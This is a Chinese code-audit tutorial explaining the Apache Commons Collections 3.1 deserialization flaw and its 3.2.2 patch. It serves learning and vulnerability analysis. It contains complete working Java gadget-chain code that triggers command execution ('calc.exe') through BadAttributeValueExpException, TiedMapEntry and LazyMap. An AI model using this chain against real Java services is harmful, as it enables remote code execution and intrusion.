零、前言
学习Java代码审计,这是反序列化部分的第一篇,由于Java语言的特性的,感觉整体要比之前学的Python或者PHP更难一些。
一、漏洞简介
Apache Commons Collections的漏洞最初在2015年11月6日由FoxGlove Security安全团队的@breenmachine 在一篇长博客上阐述,危害面覆盖了大部分的Web中间件,影响十分深远。
二、环境搭建
操作系统:Windows10
编辑器:IDEA
漏洞jar包:commons-collections.jar 3.1
注:使用Maven可方便管理jar包版本和依赖关系,本教程pom.xml文件为
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>Serialize</groupId> <artifactId>1</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies> </project>
三、漏洞复现
四、漏洞分析
在apache.commons.collections.functors中,有一个InvokerTransformer类,它继承了Transformer和Serializable接口,在类中有一个成员函数transform,它通过反射技术可以调用任意类的任意方法。
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
因此实现反序列化执行命令的目标中,它是一个重要的函数,我们要想办法去调用它。比如我们利用Runtime.getRuntime().exec(cmd)去执行命令就可以这样调用
package test; import org.apache.commons.collections.functors.InvokerTransformer; public class test { public static void main(String[] args){ InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{ String.class}, new Object[] {"calc.exe"}); invokerTransformer.transform(Runtime.getRuntime()); } }
我们知道在进行反序列操作的时候一般只需要执行readObject函数即可,如果直接序列化上面的invokerTransformer对象,那么在readObject之后还需要主动调用transform(Runtime.getRuntime()),也就是下面这样,这显然是不实际的。
package test; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.*; public class test { public static void main(String[] args){ InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{ String.class}, new Object[] {"calc.exe"}); serialize(invokerTransformer); unserialize(); } public static void serialize(InvokerTransformer obj){ try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); }catch (Exception e){ e.printStackTrace(); } } public static void unserialize(){ try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); InvokerTransformer obj = (InvokerTransformer) is.readObject(); obj.transform(Runtime.getRuntime()); }catch (Exception e){ e.printStackTrace(); } } }
因此,Runtime.getRuntime()的调用我们也要通过反射来进行,InvokerTransformer中的transform函数一次只能进行一次反射,这里我们就需要构造一个反射链,最终调用到exec()函数。在apache.commons.collections.functors中有一个实现类似功能的类ChainedTransformer,它的transform()函数如下:
public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); }
this.iTransformers[i]就是InvokerTransformer对象,通过循环调用transform函数,就可以执行到最终的想要调用的函数。
package test; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; public class test { public static void main(String[] args){ Transformer[] transformers = new Transformer[] { //传入Runtime类 new ConstantTransformer(Runtime.class), //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //反射调用exec方法 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); serialize(transformerChain); unserialize(); } public static void serialize(Transformer obj){ try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); }catch (Exception e){ e.printStackTrace(); } } public static void unserialize(){ try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); ChainedTransformer obj = (ChainedTransformer) is.readObject(); obj.transform(""); }catch (Exception e){ e.printStackTrace(); } } }
main函数中那几个反射的顺序是这样的,首先传入Runtime类(直接调用.class属性),然后通过反射调用getMethod方法(这个方法每个类都可以调用),getMethod方法的参数就是getRuntime,也就是说到这一步就取得getRuntime函数,然后通过反射调用invoke方法真正的执行getRuntime函数并返回Runtime实例,最后再反射调用Runtime实例的exec函数,传入要执行的命令即可实现命令执行。注意第一个类是ConstantTransformer,这是自带的一个类,它的transform是这样的
public Object transform(Object input) { return this.iConstant; }
其中this.iConstant就是实例化时的参数,在这里就是Runtime.class,所以这样的话在unserialize函数中我们的transform可以传入任意的对象(本示例代码是空字符串对象),即可造成反序列化的命令执行。但是在实际的漏洞环境中这样的仍然是难以利用的,我们希望的是仅仅使用readObject函数就触发漏洞,因此我们需要寻找看看在哪里有被重写的readObject函数,而其中的某些流程又能够自动触发transform函数。这里我们可以全局搜索transform函数或者搜索readObject函数,但是一般都不会存在直接调用的情况,需要结合其他流程,很考验对java的理解和跳跃的思维。在LazyMap(这是一个Map)中存在get方法调用了transform函数
public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
在TiedMapEntry类中,调用map类的get方法,有被同文件的toString函数调用
public Object getValue() { return map.get(key); } ... ... public String toString() { return getKey() + "=" + getValue(); }
而在BadAttributeValueExpException类中重写了readObject方法
public class BadAttributeValueExpException extends Exception { /* Serial version */ private static final long serialVersionUID = -3105272988410493376L; /** * @serial A string representation of the attribute that originated this exception. * for example, the string value can be the return of {@code attribute.toString()} */ private Object val; /** * Constructs a BadAttributeValueExpException using the specified Object to * create the toString() value. * * @param val the inappropriate value. */ public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } /** * Returns the string representing the object. */ public String toString() { return "BadAttributeValueException: " + val; } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
其中valObj对象在从输入流获取后执行了toString()方法,因此我们有以下思路
- 构造transformerChain
- 声明一个LazyMap,它的get方法会调用transform方法
- 以上一步声明的LazyMap对象为参数,声明一个TiremapEntry,它的toString方法会调用getValue方法,getValue方法会调用LazyMap的get方法
- 以上一步声明的TiremapEntry对象为参数,声明一个BadAttributeValueExpException对象,它反序列化时会调用TiremapEntry的toString方法
所以完整的代码为
package test; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class test { public static void main(String[] args)throws Exception{ Transformer[] transformers = new Transformer[] { //传入Runtime类 new ConstantTransformer(Runtime.class), //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //反射调用exec方法 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; // 构造transformerChain Transformer transformerChain = new ChainedTransformer(transformers); // 声明lazyMap以调用transform方法 Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); // 声明tiedMapEntry以调用get方法 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo"); // 声明badAttributeValueExpException以调用toString方法 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(badAttributeValueExpException, tiedMapEntry); // 序列化存储 serialize(badAttributeValueExpException); // 反序列化命令执行 deserialize(); } public static void serialize(BadAttributeValueExpException obj){ try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); }catch (Exception e){ e.printStackTrace(); } } public static void deserialize(){ try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
注:这个包里面有各种transform方法,本质就是一些工具函数,对数据做变换。
在这里说一点,为什么我们用以下四行反射的方式构造badAttributeValueExpException对象
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(badAttributeValueExpException, tiedMapEntry);
而不是直接声明的呢
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
要知道BadAttributeValueExpException的构造函数就是给val遍变量赋值
public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); }
但是仔细看这个构造函数,当val不为空的时候,是将val.toString()
赋值给this.val
,因此这样直接声明的话会直接通过toString()触发命令执行。但是在真正反序列化的时候,由于val变成了String类型,就会造成漏洞无法触发。
五、补丁分析
Apache Commons Collections在3.2.2版本中做了一定的安全处理,对这些不安全的Java类的序列化支持增加了开关,默认为关闭状态。涉及的类包括CloneTransformer,ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory,PrototypeSerializationFactory, WhileClosure。